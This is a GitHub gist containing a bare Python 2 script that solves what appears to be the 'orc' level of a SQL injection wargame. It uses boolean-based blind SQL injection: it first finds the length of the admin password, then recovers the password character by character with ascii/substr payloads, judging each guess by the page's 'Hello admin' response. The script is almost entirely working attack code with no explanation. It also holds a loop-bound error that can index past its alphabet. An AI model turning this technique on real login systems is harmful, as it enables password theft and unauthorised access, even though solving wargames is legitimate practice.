Skip to content

Instantly share code, notes, and snippets.

@MtucX
Created February 27, 2017 12:56
Show Gist options
  • Save MtucX/f2ecaf4c4f1e6f313c55a7c4898b0745 to your computer and use it in GitHub Desktop.
Save MtucX/f2ecaf4c4f1e6f313c55a7c4898b0745 to your computer and use it in GitHub Desktop.

Revisions

  1. MtucX created this gist Feb 27, 2017.
    28 changes: 28 additions & 0 deletions orc.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,28 @@
    #MtucX
    import httplib

    result=''
    headers={'Cookie':'PHPSESSID='}
    string="abcdefghijklmnopqrstuvwxyz0123456789"

    for i in range(1,32) :
    lengthor='/orc_47190a4d33f675a601f8def32df2583a.php?pw=1%27 or id="admin" and LENGTH(pw)='+str(i)+'%23'
    cnx=httplib.HTTPConnection('los.eagle-jump.org')
    cnx.request('GET',lengthor,'',headers)
    text=cnx.getresponse().read()
    print " length = " +str(i)
    if '<h2>Hello admin</h2>' in text:
    length = i
    print "length : " +str(i) +" "
    break

    for i in range(1,length+1):
    for j in range(0,76):
    payload='/orc_47190a4d33f675a601f8def32df2583a.php?pw=1%27 or id="admin" and ascii(substr(pw,'+str(i)+',1))='+str(ord(string[j]))+'%23'
    cnx=httplib.HTTPConnection('los.eagle-jump.org')
    cnx.request('GET',payload,'',headers)
    text=cnx.getresponse().read()
    if '<h2>Hello admin</h2>' in text:
    result=result+string[j]
    print 'Password is '+result
    break